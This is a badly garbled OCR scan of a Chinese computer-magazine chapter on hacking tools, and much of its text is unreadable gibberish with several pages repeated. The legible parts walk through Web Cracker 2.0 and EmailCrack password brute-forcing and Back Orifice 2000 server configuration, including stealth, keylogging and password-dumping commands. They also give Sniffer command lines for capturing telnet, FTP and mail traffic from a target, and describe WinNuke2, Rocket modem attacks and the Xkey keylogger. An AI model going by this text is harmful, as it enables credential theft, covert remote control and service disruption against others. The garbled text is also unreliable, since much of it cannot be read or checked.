R 4 Fk B 8 E A e M 1H

MRABRARESHE, 2 BANA FESMRENEREECS : IP
KB, WR{NIERE register — name T AR value , W Soft - ICE &
BEFFARRENEIRTIAABME, IR register — name & FL ,
HiIXBNRESURREXEEN ARENGENALTENE R
Ao BRFIMIEFHFHEMNE, HEIX Enter . R register — name
value BB 182 , MK B M F AR EB YR value . BERERE
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FoH BEFEXERA

Pc friend -

8,8 FL 24§ register — name ): BREUBNRERS, MRERER
*/]"\'f.f.‘( ,Eh\‘zuﬁ%‘ﬂlbni “47 o %%ﬁi%*ﬂiu,F!'JE*/T'U\??%EMHJ:
—A “ =7 AR R AAR IR HES o

#: R AH 5

X—frA1E AH FAEFREBREL S -

MA

&P MAP

MAP 14 B & N MR MEMAD, KRR

HEK, —FH%ETF 10h byte ,
CS: IP B A 2R REER.

2NN

&4 . D[size][address][L[ = ]length]

length E B2RILA byte o

D X4 B E ML NFENE

WHRN LIS E size WERBR, WREHIEE size , ARG —
WEERH size RBR. FIERNERBSER ASCIL S, WERREE
address , W AR — R B RIRE—FTHE—FHHFHEER, WRE
FH185E length , BREER 8 T EE AB/MA D —E, FHWEEHEA
TLE), W% B R TE4EE B length 8 Z 85

#l: DW DS:00 L = 8

a4 LAk Word F1 ASCI FIIE R B B R $ 35 BL AU ET 8 byteo

X FEBERF

184 . E[size]address[data - list]
data - list — BRI E size BEIE, (byte\word 8¢ double word )
HLLE S EHSREINGSFAFE, TS 50T/ 8w DL AT
BHW55,
E fir4 T8 E Huhik i PO AF A5 T i HUE
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XA L ASCH WIER B RNFRE, FFEREHEEN size o
NGB AP E R NGF. ATLABA ASCI F&F B A byte
word , double word FI{EPAGREE NFE. WRBETEE size , ARG —IK
{5 FH Y size N¥E,

SPACE KBET—LEL;

TAB —7EEF X F1 ASCII X [a] 4] # ;

ESC =%, Enter BRAGmEL;

ERABEER, NP RE OB ER, Bra MEBEERLL 16 #H
Fn, ¥k TAB 7] I7ESF X A ASCII X [a] Y]k,

AR BRI, W P BB E , EMNEmSE P B,
BEEAHEKE  EMSEFHNEN 81T, WRBIEE AT LAY, N
MBIEE K/DHER, WRRMSHEREE 2T LA, WEhr&B 3
BEES, ERWEERAT LY, MEMRSEPNEE — KBRS
B LR T

#i: EB 1000 : O

X—#r4 M 1000 : 0000 FF4, DA byte FOTERS, ST ASCII
5 B BIEAAE, BT LAGRAE X 2 B 7R R M 1E

BRBE—RERKHESH

B INT ?

INT ? 2 BABE—REERFESEREA 4,

#: INT ?

PATF R INT ? BRg8RMHEF:

Last Interupt : 16

At : 0070 : 0255

XA T B RFE Soft - ICE & DA H Z /1, RERGE—KIAH
B 16h T, Srhk7E 0070:0255, 40 5 5 J5 — Uk o b 2 3k e bl
M 0070:0255 R IC 44 Bl P ETRRER PG, 2 254 W, RIC
S0 25 B P T R AR B BT AT AR RS .
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Pc friend -

? L H BEREHMER

B <? | H> command | expression =

? MHGLHWENSBREYER. WRREBEESHHS—K
— BRI BN BT A LS E R T SRR U, BT BT DAk SE B
i ESC BB, HRAEESHNSBEREEmSEER
TR, an SR B RE, W& THEHLL 16 #E L 10 # 61 &
ASCII FRFERHEER,

Hl: H 10+ 14 % 2

X—4 ER: 0038 00056 “87, X 10+14 x 2/ 16 #F
il 10 #ALfE K ASCI 4%,

(W) 1/0 s aépsd

I.IB——H byte I / O¥GEHA;
IW ——H word 1/0 S A ;

O . OB——H byte 1/0 I3 & ;

OW —H Word I / O g%t ;
XL B BT

I.IB.IW—HH 1/0 s A

155« 1 size]port

port — byte 5 word FJ{H,

XA DA i 1 0 A\ ) i 22 PR R 2 BB B 7 58 o 1LY , 1T LA
byte BLF i DRI, IRBHE1EE size , MEREER byte o

fil: 1 21

X — i 2 AR P T 1 48 ) BR R AR AR (EL

0.0B.0OW—mH word 1/0 #O%H

B : O [size]port value
—A™ byte X word FI{H.

port

CREWMER - 75)



ZEGEME
* Pc friend
Value byte ¥ 1 h— byte 1 ; word ¥ 12— word {H o
Xof ¥ 1 4 A A R R X BE (R O B, BT LAXY byte 3 01
B word ¥ it , IR B H 15 E size , BRAE{ER byte o
#l: 0 21 FF
X—fir 4 Bl T T R AR TR T,

. MEREEF—— Web Cracker2. 0

i X R, A R B IE A& BIME N M 48 % % 1 T 9 B . Web
Cracker2. 0 R B SR/, HH LW A BRLHAMINGE, YRELERE
RAFHIFEATNRE . MR User Ids (FHF 4% ) F Passwords (04), 5
oh, B X R ERS 5.

FIF Web Cracker2. 0 RBEMBML LA AMOSRIERE HE
B, R RES R E TREFA AP Z2MO04iEsscs, REMAER
¥ LA b 1k 5R 7T DL 3R AT AR
HH, ZRHEHAFE T RRINEE, b
HWAZTFRBNFEELEER ., TH,
FATTHE i BRI B4 U B R LB R —
g

BT Z M, 1 B Web Crack-
er2. 0 EHMH, A 4-1, ]

ROTMEERE LTUAB RS |

3 ‘ EH 44 KR
T, 53 552 File
\Edit. Tools F
Help, FH BUbR 8 5 “File "8 BT, 3 FHI3E
L 1]

FIBAR#d; “ Load User IDs” R
R SCHF) T, B “HT T SHERE , i 4 - 3,

FERXEHES , ARG B R AP

B|4-2
(76 - spamwsn-
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A3, R E P ERE, RATT
BAM “ User IDs " F B3I RAE
HFERECEMAMAIZ, A
FIRIET AT BB MA R P
ZHE, ME4-4,
mMARP&URE,BITE
2BO4xXH ARG RE

H4-4 m4-5

“File"3E ¥ F i) “Load Passwords” 335,
MK AT X EE P E R
043X

BEUGE, RINTUNERT LB
3| “Passwords” FHIFIRIEE R HE L
WMAKEFOS, NIIRETTUE
HMAKOSEE, WE4-5,

R A0SR BE )T, HE
FARMEHK “ Target URL : ” UK A
RE PR A E Rt , XNk AT R

B4-6
CEEARHR - 77)



EEGAHE

+ Pc friend

R M hkaE 1P #htt, E 4 -6,

LMk AR, RITTURAERET LK “ Start | "3R4 H K
AR BRI, Web Cracker2. 0 FFHE #4720 o

HBBO T ER 8 sEFE- AP, R5H -1 — ik
A4 AR ERRAHER, BEEET -1 A& &5 H
— A0SR KR AWIEA T L, EERBRIIRA B0
ASEIATE . WMRBEEH RO BRI, R R LA LA AR B
a3 RS PN AT A

=. EmailCrack

BAEARE ISP AL FF P B, i ]— M ER & 44 AR — Wik AR , ik —
B RARHI K S @ xxx. net , BHHFRE L REB—H, W2, RE
PR BE R HR AR B B EE—) OK T,

AR, B TR L B A AR X4, 4 EmailCrack B¢ 4% 5| % , Bd
ATFHXHRIESEE , — B BERBEIL T/ DEIE,

XML FEELRRSTHER, BHTREAMRAEANAPZ
S, ARERLHA—THBE
PLEIIK S 5

EmailCrack &— 1% F POP3 {3
WH B 3% FH, B Al LLA A POP3
BB ThRE , X AT BB A P S AT
BRI, MRS P &,

HEB EHERE R, RAITER K
!

BHHXEK S LMW, % 82 Internet
J& , 34T EmailCrk , B EF 1, i &l
4-7, B/4-7

£ “server address” (AR 4525 Hudik ) ¥ AKE H i A BB DL
ik, — M ER R R POP3 iRF2nhhl, MR LI A IP itk fiif 42

(78 - zEamtsr -




B35 ZEFRAEL
Pc friend -

Hudik (B 3CH:, WA IP bk E R ERR) o

£ “user list file " (AP ZFIRXHG) WAEFEHERARPS
XM FTEER R BEEMCGZ , & A BRARRT © user list file ”
el , 7 “FTH " RHERE B H B X B N X

#£ “ password list file " (H4FFRXMH) MAERHERAOS
B RS BTE I BFF SRR X2, RE AR S  password list
file "84, 78 “$TH " XHEME P BB OGEEHRBERI U

XEFEE T :APAIRXEFMBERRLEN AR, B
— =N, AR EVL LR TR passwd SUHE M, LA
passwd U HARE BER KA.

“Try User name ~ (FIF B %1R) T LR ERTFRE

AP K-S E R B R,

7 “Thread Number (ZRFEEH ) XA AESR /R UEHCH
ARBRFHRIRTHF LB E

— MBI UGE, AR T “ Begin "H4Hl , BFSASFEHE
BHRPHELU RG-S, WRR, BFESERAF 28R
BIGRES , HF “ Search "HE RN, “ Get "HBBIFHHA
¥, %R 4 B IRFFTESU Result. txt H1,

EmailCrk bR _E H R —A % B A S BGHET LR B B 55
M, A, XA ENFLUR P B8 FE. ?&ﬂﬁﬂ%‘ﬂﬂ‘]
RAPAR.

Mm% R %

MERZEREMNTEAR
2 4wl B, FE AR
f# E - mail B W LR MG4&
Fophe, BTG, W ER
M, 4 -8,

AL ERELE LA

B4-8
CEEARHER - 79)
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Pc friend -

Hihk (23528, A P b ERNOBEERR) .

£ “ user list file " (AP ZFIRXMG) WAEFREER AR5
XM R RFF R E , AEARRESE © user list file ”
L, TE T AETE TP H I GE BB .

F£ “ password list file " (H4&FIRXMHF) MAEFEEHA DS
FUR S PTFE R BAF PR A SC2 , BE A AR i © password list
file "$4H ,7E “4TFF " SHEHE B BB H BB HI S

XBEFER—T : AP RSO rRE R 8  SCAR R R, EoR
— =P AR EVL LSBT R passwd LA B, LAUK
passwd U HAR(E SRR 25 A

“Try User name = (P &%) HEW Al LIERRER T~ T
fE R AP kSR BISE %,

E “Thread Number” (RBRHH ) XA AES ,RATLIZEE C
ABRFHREB T L ESE .

— IR BTG, AR T  Begin "M, BF S H AT
BIRFHFLU Tk S, WRED  BFESIEAFZ2ER
B RES , K “ Search "HE KM ANE, “ Get " HEBIFEHHA
5, %R 2 BHRIFAESE Result. txt H1,

EmailCrk 3ZFR_E HR—AN % A S BT UGS 5 % 75 i
R . A, XA EXTF LA P 2 S B ?ﬂ{’ﬁﬁgﬁgﬂg
RAPAR.

[Nk

MR ZERBRNFEANE
4 i BB , £ 2R AR
fi# E - mail F5 o8 BB K
Tk, BT, W ER
T, a4 -8,

ARAr G R HAE B

BA4-8
CEEAEER - 79)



REGARL s
* rc ire

BB, B B AR LR X IEAE , 0
@ 4 —90

£ B E X EEPERAT iR
", EEWMA AL, B T
S ARET DU ARt oo
B TR EAE , N 4

H4-9

X it B % B 0 7 3L 3C
HLl G, B EEHREE”
MEE, RERMAIE®HN
POP %05, —VIREWE
B BT A

H4-10 By, BB B,
KEFHREREDS  REMIF R

IR B S FE T B R TER AR , 3 X VR A Ha oy 8 B SR AR
o HZBNEANMEELRKEN, A ] EEA N RRE, X®RE KR
EREB/EET

4.1.3 ZREHTHE (FREPHADHERE)

REXFEARTCREZBLIE HEH 5 BO2K SiA LML, BH
44K Back Orifice 2000, 2— &K “BE4ZR"HWBEHARA LA
#o

ER—ANATUEERFER, PITREMS , BEFRENS, EFE N
R HIZ P/ RSP ABF . BO2K XS, B
FIF TCP B¢ UDP 4% 3% , 7] LA F XOR Hn % B B8 E & 4 1Y 3DES
BRI

BO2K B EEN =145 :

bo2k. exe : X ERFHBF , ENEAREARTITARENT

(80 - mmamur-




FoH . REFHEXEL P

Pc friend -
Had XM RFRLREFERKARDAREFNEER, BAEEMS
b A BB AR 1 oI LT, X R AT 1A T LB i B AT RAT TR
ErEhiE,

PRET LUK B B IR 55 2548 7 AE S B FHR A4 O BT R IE 850 05, B
A A EEEHBEITER ST Windows 95 . Windows 98 Fll Windows NT
I ENLY

bo2kgui. exe : iX /& BO2Kd Hy#& il ¥ , K F B /E ARl & A k%
FIRSBEFRTRMNBENGS. BNFTIT TERSSHEFE,
REETT LA A BO2K W IR @ M ERREN T REN
SRR .

bo2kefg. exe :IXRMRF AR BRI, 7 boserve. exe IR 554712
2R, A —SHXMIBLFAES ERFTRE., W EAN

TCP/IP ¥ A BT 27K HD%,

7%k, BOK EXHeEFIIEE, XHARATLIAC R EINEEE
SRAIEIOR YR BO2K HIZhEE.

(—)& % BO2K R4 28

BO2K R 45 25 O BC B AH M 28, R REAR B HECE M S 1T R
MAUT, MPFLESFHPHTILNRE, AFRSFHXHFLZ (TR
F130#) JRI%EMY (TCP 5% UDP) 0\ %#5% ., A RAsWiE BO2K
AR 55 25 EC B R ¥ bo2kefg. exe UM, HEL “ BO2K FeBEHR”, K 4 -

BH4-12
CREARtR - 81)



BRI, RETFRAEA

Pc friend - ;
s XM EFELREFEERADAGREFER, B hEEM
fhr s B BB R A i i BT, SRR R AT T A T U B AT AT
EHEE,

PRET LUK B B BR 5 25 A2 AR A H 1 R 4 B R T R IR 45 3 07, B
A AIEH HBITEEZE T Windows 95 . Windows 98 1 Windows NT
RS,

bo2kgui. exe : iX & BO2Kd 4 il #2 77 , H E 2 /E A2 Ak &
FIRS BEFUTRMNEENHGS. SNFIT TRRSSERFE,
PRERFT A A BO2K Hm AR HIR 7 , @ i M 45 i Bk 18 X 1 R
eV .

bo2kefg. exe : X RS2 BT , £/ A boserve. exe IR 5547 12
PR, A —SHXMNBLFESERHFTRE. W EHAY

TCP/IP %t O P AR B %,

1%k, BO2K EXZFEEMIhEE, XA AI LI AC R EINAEE
SREIE R BO2K MITZhEE.

(—)B&E BO2K JR 42

BO2K fR 5545 FBC B AH X 7 B0, PR R B AR 4 LG & 1) AT 4
AT . MSSEIFAP#TIVVEE, SFRS S X2 (AT
F13C44) W% EMY (TCP 8% UDP) s H (& i55% . FBARE BO2K
IR 45 2SEC B R FF bo2kefg. exe 3CHF, HEE “ BO2K BL B 5", Ik 4 -

A4-1 Ba4-12
SKEamtR - 81)



E2EGEAE
+ Pc friend

11,

AR SEE “T—4", A ME? WX EE, EREEMEN
BO2K RN, WHHF/E BT “F—A"H%4H;

BERE] “PIERR XA, A 4-12 . FEE—-N
SRBFRE TR

B ) T BRSO Ak, AN 4 - 13, E 7R Bkt R O S
XABAETRA R RE T,

A ) P BER B FE N RAL”, N 4 - 140%51”5%—1‘1‘13[!%%

. BO 2K CONFIGUNATION WIZARD

Ba4-14

g, Bd T4
XA SERREA O, NE 4 - 15 XA AEFBAD
L BE T AL

02K CorGuRATION Wi | BO2K CONFIRURANON WiZ4

B4-15 B 4-16

XB, RIOIELTUER R FRARETR, ABmREH 5%
B A, Wk 4-16
(82 - mmamus-



2EGABE
+ Pc friend

- o

ARmES “FT—47, HBEmE? GXEE, EREFER
BO2K fR&#5MCHF. ®BIFE T “T—4"1#%4;

XEFRE PR E B EE, A 4-12 , BEE—IW
HARFHE T

XA S E SR AN Ok, I 4 - 13, Pk O RE
XABAEFRRA,REHRT T—1"%4.

ﬁﬂi@%?ﬁtﬁ%“ﬂn%‘%ﬂ”,ﬂu@ 4 - 14, TFEBE—FmEAR

| 602 Convicunation #izaao | BOZK Co«ncunanou Wx

BH4-13 B 4-14

G it T — AL
BB 1 SR A N4, 0 4 - 15,76 XA A FHAD
S, Bl T

R

BO 2K CONIGURATION M1 | BO2K CONFIGURATION W

B 4-15 B 4-16

Xaf, AIEAFLUED N FERAEETR, ARRE 7%
R R, ik 4-16 .
(82 - zmamutr-



FoHy BEFEREL

Pc friend -

X B E WA 4-17 By
“BO2K IR&#SME " FAH, NIXH
F] AN BO2K AR 5528 U #E AT T
HHRE

mRPITEE, TR ER “1
AR, A G T L3

@4_17 | 1 . File Transfer

#EI: File Xfer Net Type
Hik: FIH /BN AL P
%&I: File Xfer Bind Sir

R U SEE , BRIAZ RANDOM (BEAL)
P#ETR: File Xfer Encryption

ik P/ E BN Tk

#EIR: File Xfer Auth

R SUHEHIER , BRIA R NULLAUTH (A IEH)

2, TCPIO

J%&Ij: Default Port
Hik: B /BB TCP &5 F o 11

3 . UDPIO
i%EIi: Default Port
HiR: FH /F ik UDP &% 8% D

4 | Built -In

#£30i: Load XOR Encryption

ik /25 1k XOR %, I 3DES %)
FETA: Load NULLAUTH Authentication
k. (A /28 1L SCAFUERA

CKEARHER - 83)



BEEGEME

* Pc friend

JET: Load UDPIO Module
R /25 1k UDP &5
$EI: Load TCPIO Module
k. /B AR PN

5 .XOR

#ET: XOR Key
iR FIH /E XOR & H R HE

6 . Startup

PETR: Init Cmd Net Type

fliak: F /U BhE a9 P 4 B

#ET: Init Cmd Encryption .

fiR: A BhEEF S AT e

FETR: Init Cmd Auth

fiR: I/ EECHRT I SFES BE

%I0: Idle Timeout (ms)

k. S UR S5 i A B T B B [ (B A ZERD)

7 . Stealth

PEW: Run at startup

HiR: #7251k BO2K 7EIHENUE 312347

FETH: Delete original file

HiiR: MIBRZ%E 304 (Enable or Disable).

#T0: Runtime pathname

R: ERUBITH RS

FET: Hide process

k. FTHF /R R

#EI: Host process name (NT)

Wi FREETEN LB TESZ (BRINE Back Orifice
(84 - mmamusr-
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Pc friend -

2000)
HEI: Service Name (NT)
R EnEERRS RS

(=) 7 # BO2K #4124

LIRS BEFERERE, BHERRAX T, N HFPITUE R
B LAE L2 1T BO2K 2 H|#2F bo2kgui. exe KTl o
A BUAR Wik bo2kgui. exe 34, BN 4 - 18 /) “ BO2K TLAE

B 4-18

X" ¥R,

FARSREE “SUETRETR BRI, My ‘e RS
FEE M TERE, I 4 -19

BB/ BTF M IRES R
HE” SCAH AKE P A E B8 1 AR 55
WATMHA, REHEE “EE
KR | “BUAmMETA IEB X
EANTRFIR P RE,

—REFE, B R,
HiB “ Server Command Client " #2/E
HE, A 4 -20

ETRIERE D BEERTUE | B4-20
CEEGBHER - 85)




=R BRETFERBRA

Pc friend -

2000)
EI: Service Name (NT)
k. EEREHRSUA

(=) T # BO2K #4254

SRS HEFRETSE, BEERREAN T N HFRITUE R
Al L@ L5 1T BO2K ¥ | #2F bo2kgui. exe K FrHEM
F BUPR Wi bo2kgui. exe SCHF, HBLANE 4 - 18 /Y “ BO2K T4

B 4-18

X" FE 7,

MRS “SUH"SRETH “BRS A HI, M “wiE RS
FRBLE "X EHE , I 4 - 19

 REBLFM RS
HE” SCA K AHE A IE 5 R R 5
A TRMEE, R HEE “E8&
KR | “BUAMET A “HERRTX
EATHIFR AR ET

—YIREIE, BT TR,
HI “ Server Command Client ”#24E
HE, i 4 -20

TEZBRAEHE | Mok 3 8 T DA A4-20

-EKEAMHR - 85)
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2EABK

+ Pc friend

FIE ) 70 55002 X IR ST R . REMGITHENE LS8
&, A, N LS8 (IRE) BT ke R, T L
HERRS & LT TS TH, RIBEE AN A T HA
R A2 o

1 ., Simple

il Ping

g H—BIEVR T RECE ERESUIR CEABME
F A BA F BO2K) '

4 Query

HiR: R E RS L& BO2K HIRAS

2 | System

f2: Reboot Machine

fik: ERIRSH

%2 Lock - up Machine

ik HERSS EEERD

4 List Passwords

R BURIRS 4% LA P RS Ok A/ _E ik )
4 Get System Info

iR BUSBLITER.:

Pt

ELiiia

CPU #5

Operating system version (SP version)

hEA)
Memory (Physical and paged)

Machine Name

Current User

Processor

BIERGEMAS (R T

W (BN F RN
B 9 B E A7 as s R IR 8%

All fixed and remote drives

3 . Key Logging

(86 - zmamtR -



o5 ZEFRRBA
Pc friend -

4 Log Keystrokes

R EEEICRE I UFR, B/ E XA AR
f4: End Keystroke Log

fiR: FILiTRIER

fi®: View Keystroke Log

ik MRS R SUF

f4: Delete Keystroke Log

ik THEIEEICRIUF

4. GUI

fiT4: System Message Box

ik FEMRS BHRRE L BRI SOAER ST O, B O AR
A] A AR RE

5. TCP/IP

fii4: Map Port — Other IP

R RS A% b — i O 6 P 4% L 8 08 B E 1 B 5 — A 1P
H b A1 H

(Redirects network traffic from a specified port on the server to
anot her IP address and port. )

#4>: Map Port — TCP File Receive

R M—AMEE R I DB, B 45t 1S S04,
Hprize ‘

fi4: List Mapped Ports

HR: 3 BTE EE I B3 O S B (TR 0 A B Asiw 0)

#4: Remove Mapped Port

TR A48 RE B E E 19 3w 1

#54: TCP File Send

fid: EIEEME D, RS, BIEE BAF 1P ik

- EEAKHR - 87)
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W, AR R AR A RED

6.M$ Networking

i
HiR:
e
R
fird:
iR
: List Shares on LAN
HiR:
e

HR:

W

%

Ly

Add Share
EEBIS LB MR EREREMLESL

Remove Share

BERAE BRHAXES

List Shares

SR %5 4% LT A 3L

517 LAN B E
Map Shared Device

[FSIE P&

: Unmap Shared Device
fHhiik:

WiFE RS E R &

: List Connections

HiR:

B BRI P4 R , S Y RTR AR A B

7 . Process Control

e
k-
i

k-

List Processes

F| RS 28 LA IETE ST BRI R, B8 eVl 4
Kill Process

XA EME TR, ERMEAEN DS (AT LA List

Processes comma nd 3£78)

e

HiR:

Start Process

TEMR S5 #8 LIF I — R, B E RS

8 . Registry

e
k-

- KERRHR -

(38

Create Key

FeTE MR BLAE BB, E e B R R



FoH5 ZEFHEABRA
Pc friend -

fr4: Set Value

R REEMERENE, 0 ETEN RS B NEE
4 Get Value

R BrfieEanEHE
fi4: Delete Key

iR MEREr R
%54 Delete Value

R MEEENRA
5% : Rename Key

R HEERs

fi4: Rename Value

R SURME, BRMRETENE

14 : Enumerate Keys

iR gEit— T ERTHRNKE

#54: Enumerate Values

iR witERE

9 . Multimedia

14> Capture Video Still

iR MIEEBRE LA, BISE X2 MiRE 4
fir4: Capture AVI

iR: MR mE EI—B AVI/DEF
4 : Play WAV File

ik WIS ER WAV U

fi4: Play WAV File In Loop

ik TG EILIEE R WAV XF

fii4: Stop WAV File

R 3 1L IETERR R SO

fr4: List Capture Devices

S REaMEtR - 89)
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#R: FIH RGP LU RRE
fi4: Capture Screen

R LRI BRI B 2 1 B A 30

10 . File/Directory

fir4: List Directory

R: 78 R B H R (2 TF dir)

#54: Find File

R TEMRSE LA HRBER U

fir4: Delete File

R O MR 2% b 8t

fir4: View File

R EE U

fi54>: ¢Move/Rename File

R B3/ 8, B8 E R SR S 2

fi4: Copy File

R RS LN, BiIfERE (FREEIIECKE R
EHARLF EEN)

fi4: Make Directory

R g1Ex

#4: Remove Directory

k. WEBAF

#54: Set File Attributes

f#ik: BB (ARSHT 44/ Rit/ R4 /B

fi4: Receive File

fiR: M BO2K IR %88 T 1530, Z4B%EH (BINDSTR) , NET,
ENC , XfFiEH] (AUTH) FIB§42 4<% : Send File

k. BEXHPIRS S, E IP #ulk, NET, ENC, AUTH Fgg
7

(90  wZramum-
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fir4: List Transfers
ik F H IEE A4 B S0

4 : Cancel Transfer

k. BIH— e

11 . Compression

#2: Freeze File

R $ESCHESE (T4 % i B 3o
f2: Melt File

R: EGRESHFRIREABXH

12 . DNS

ﬁﬁ'/v\l'] Resolve Hostname

R BUE AR %5 8% 00 IE U4 A TP ikt
4 Resolve Address

iR BR[El AR 5548 Y IE S I4 71 1P ik

13 . Server Control
£54: Shutdown Server

fiR: MRS A8 E#Y BO2K o8, RS RITESIT “MER"A

#2: Restart Server
k. XM BO2K IRFE B HE 3
f%: Load Plugin
R RBIEM
s Debug Plugin
k. s
. List Plugins
#R: FEERMEGE
4 : Remove Plugins
CREAEER - 91)
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R BRIEM, B e

AT U EXEGS R BT T RS HBF XML
BYEHER, EERETERFEE,

1517 BO2K R%5 83 LA S BN AR, & REKH
CHEAZBERALZN, S/F BO2K BEHEF TEMSAE, R)5Hit
it o

BO2K X MEFHIIRE, KRS TE—EmBEH KRG, e
it Internet K H| G T B MM BRIESEE . BO2K B &% b
] AR B H TR MRS, B E BN TEME IS B — MR A
B TE, ‘

4. 1. 4 PG LT K1

Sniffer 7& H Lawrence Berkeley Laboratory ¥ XK, 1T F So
laris . SGI #l Linux % & B9 —Fh 4 %% \Th BB 5% K B8 F 5 (8 B M 4%
WeWrdk 4, fERIRE, AP AT DARE SR IR bkt A0 B An b bk St R A, B
BT A O Mg D%,

HaS 28T .

—a LA ASCILJE 20K HE T B 45 R M o o

~A  <char> TEHATICRET, IERAITERRFERFEA <char>
A%

-b FRITRNFEASE -t & -5,

-i AHEERX, KIS B A

-p <port> 1CFIEHF|<port>fL,0 JFTA % H o A R 0,

—P protocol HEFFERE M PML, B4 K TCP. FIREHIESFER IP |
TCP . ICMP | UDP MIENHAE

-s <IP> #HE Sniffer AN <IP> REKBPIEL,

-t <IP> #8E Sniffer KA KIXB <IP> MWEER,

(F: P> Z2ETUH@XRZR—-NPHE, KW -t
192.168. @)
(92 - zEamiR-
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Pc friend -

-t # -s Hi@HMTF TCP/UDP B4, X F ICMP Fl IP tL#E171#
B, HIMRREET -p 2%, WA AT TCP # UDP 4,

THEEATHmL T .

F18 “ 1758 A—AFEHSATIH0T, W R X MR

F2 8% “2 7 A EVLHFTIRIT, BT R R,

F3 a3k “3 73 A—um 0T IR0, TR X R,

FA S “ 47 5 A—A 0 O BEFT 00T, Mo B B 42

FSEX “5 7 HS¥ <from IP> <from Port> <to IP> <io
Port> XJ5 31— 1M EF .

T HER—/ 2 Sniffer B BEAT ST B F

A2 EEVNER—NFMH, — G IEEBITHE Sniffer , 55— & FEH
ARt 192.168.1.2

1 R EIE RN 192.168. 1.2 E—8FHP 04, /48

root: ~ /# Sniffer —p 23 -t 192.168.1.2

2.0 040 RAE L 192 FFRREI S, AT cat 192 % REE,
e H:

root: ~ /# Sniffer —-p 23 -A . -t 192.168.1.2

B

root: ~ /# Sniffer —p 23 -A "~ -t 192.168.1.2

3 INBAEITF 192.168. 1.2 ) fip RE, 4R

root: ~ /# Sniffer —p 21 -10 -t 192.168.1.2

4 GERPARHAMEAETH 192.168. 1.2 KB THEE L, 4

root: ~/# Sniffer -p 25 -10 -b -t 192.168.1.2 &
BE
root: ~ /# Sniffer -p 25 -10 -b -5 192.168.1.2 &

5 PP — R MR EEFERHEL, N
root: ~ /# Sniffer —p icmp -b -s 192.168.1.2

6 HNFEEHARBWAE, HEN:
CREARHER - 93)
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root: ~ /# Sniffer -1

g%

Sniffer U EGZEER , EAXABRXTAEBR —-TEMUTF
aaa. aaa. aaa. aaa. xx — bbb. bbb. bbb. bbb.yy # X # . H
aaa. aaa. aaa. aaa F1 bbb. bbb. bbb. bbb AB /™ IP #uiik, il xx Fl yy 218
(BB L AN RN

Sniffer & 7] LAEL & 53 5b—~ 1 TOD(Touch of Death) JF2)F, %
VIB R T A A TCP %8, FE R — 1 TCP N H P —&F
PLE E— AW FF 0 IP 40 O TP 9 RST & 1),

4.1L.5ZHATH

FITi8 B4 B9 N LR A T BRI 3 X0 77 4548, EG R X 77 5 i
RE H LB AT UG R X J A

—. WinNuke2

i54T WinNuke2 , HELINAE 4 -21 B9
B, “IPTRAEREACLSRER IP
bk, 7E “ Message "I AMEFHAE R %S
%Wﬂ&ﬁFﬁﬁ“mwmeSOB”
el o

S e 8 4 14—
42l 2 W15 BIE, BRBA
BN BakE? ERIE Bag-.....
:-\ PNuke E 4 _22

XRE—EK L WinNuke2 THREE R KB A TR, ETZBFE
BERE (NE4-23),

MNERBERMTUBBBRATEEANET,FAERHAETUACE
EMO%ERE, B, ERINEBEE.

(94 - zeamtr-
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7 “Host /TP 4 ARE i A E12
FRER IP bk , R /5 FEE “Nuke MSG ”
FTRAERENGEE, EEREE

“Port ” ¥E, BJSTE “ Times #
AKE i A B B ]

A, BRBFET LR EH B
EHWBE,E “ From "B AESRHA
BB E B/ EE, BE “To AR FMABBE RN SH, H%®
BIFERET ), RIGHE “ Nuke ! "4, BFFRERSHENRE
RF#FTBALTE

= X J#— ROCKET

EEN, KRATBEEAR THXXKMG, & EERNERBRERT LIE
EEEAERML ERINER Modem 3R B FHRAEERNKFZ EMKA
FERRAH N B BSMNE Modem #1785 LW, T ERATELET X X B
i Modem #% 5 I W4 T#R4E

(1) BERFEHAYRZNE Modem 35 LM, iR BLUTHR
. g AT

AT Rocket. exe , HIANE 4 - 24
B ERTE, £ “ Target IP "SUAH AKE
R ARERER P ik, Ri5HE

“ SEND PACKET "#:4 , ISR *t 7 2

HME Modem BN X SR T !

A 4-24 (2) anRpRME AR IMNE Modem

HEEM, T HAERET |EH Rocket

“BHETAK, MRRE AR RSN E Modem , EEREMHIRAE S5

B Modem #48, Frik, —MINTEH EEIE T — KM Sapik Modem
B34, ¥ B 2 SN E Modem fRIPEE , BRI T BRSS!

B 581517 Sapik Modem k44, EBLANE 4 - 25 B R i

CREAMHR - 95)




+ Pc friend
P g e U ) 5 £ RIGH T “ Active ” &M, BH
X ONEARS B EARRCCER I ) V74
T O S O R S O O ) 5), EEEELE, RS 8 F “Close”
Rt KA,
| "”d_‘:":;,,‘::“ s 3 i 5 FE AT Rocket. exe #E7T 41
e o || GiBRAE
Z WAL, Rocket B 3L R4 B
Haw “IMERTFE! REXHEINE
Modem , 5 AT LA{3 FH 2 K 44058 %) 7 BT 4%,
At , % FHE Modem R UBUIRE 2% — S ERARTEER

4.1. 6 FHBIETH

FERBRARTETROHEE R, X7 A1 REA
AU TR Y T |, RATHR T — T FR_EIETE,

— JTEEFARE Xkey

XR—FE A B Hl 8 , FHE T LA P b s Hi e 3 B
i TR R B8R 30 . T RBEARL XKey 1. 1 JRATEIR A M ZAE
MATEFOAS, FsfrEEmR, ﬁﬁﬂﬁﬁ%ﬂ%bn]’frﬁmﬂlﬂ
2% FAYE SUHE S F S vp Y B 4R]

ZEEAFREEST E AT B YL S P e, S % ENL
R ARANESN “BIESHT. “HERR EEFET.
“PXHF ARG A B R HA AR R, TURERA XS
LA BRI

R B Z E A E R, 2 BT R4 B A A R A T S 7R R AR IR
BB RO A F RS A R LB A B R S %

B URBRAZEERSHEROHOS, FES R,

1 HiIESE: 4R “FEBEE ‘BT aiER I
37T LR BEAR R 545,
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Pc friend -

2 WAEHS:RA B ER A HZR, I E s
FERFEEFEREE,

3 MAFE AL HREL P - B P+
BFEE P + B AFEEREE T, R D EER ARG
FR R R O 33 B B R 1k KT

BRZAh , fRiE AT e R b B SR8 RS A H I, B4
BB AR

4 HOUECF  WITAREA RS E RS (150 1) 7K
BHAEI(53123 1) VEREE 175 ) FMEEEF (0 -999999)

FEHE R S SO Z /T, AR AT AR F B P AR RN B E
MBERR TR, 37T LURIE A [ 1 RGO & X SCA S B 84T 75 1
TRE

E—YIRERE, B SRR, KR T, IRRE
HHENETSE , 754 BT B R RAE , W B F B E
BE&MRK,

B GRRTEeHET, B FRE, E 4-26,

THRT “BREHELE,
WHE T, #A
LG 5 55 7 1R B 3 {4 5 B R
HE, Il 4 -27,

T A RE H AT DO R
BiE BFBIEE (FH) 5
FEOLH S HEE R ERS, A
PAEBEA RN I 565, 72718

| 4-26 KBRS LB AT T R
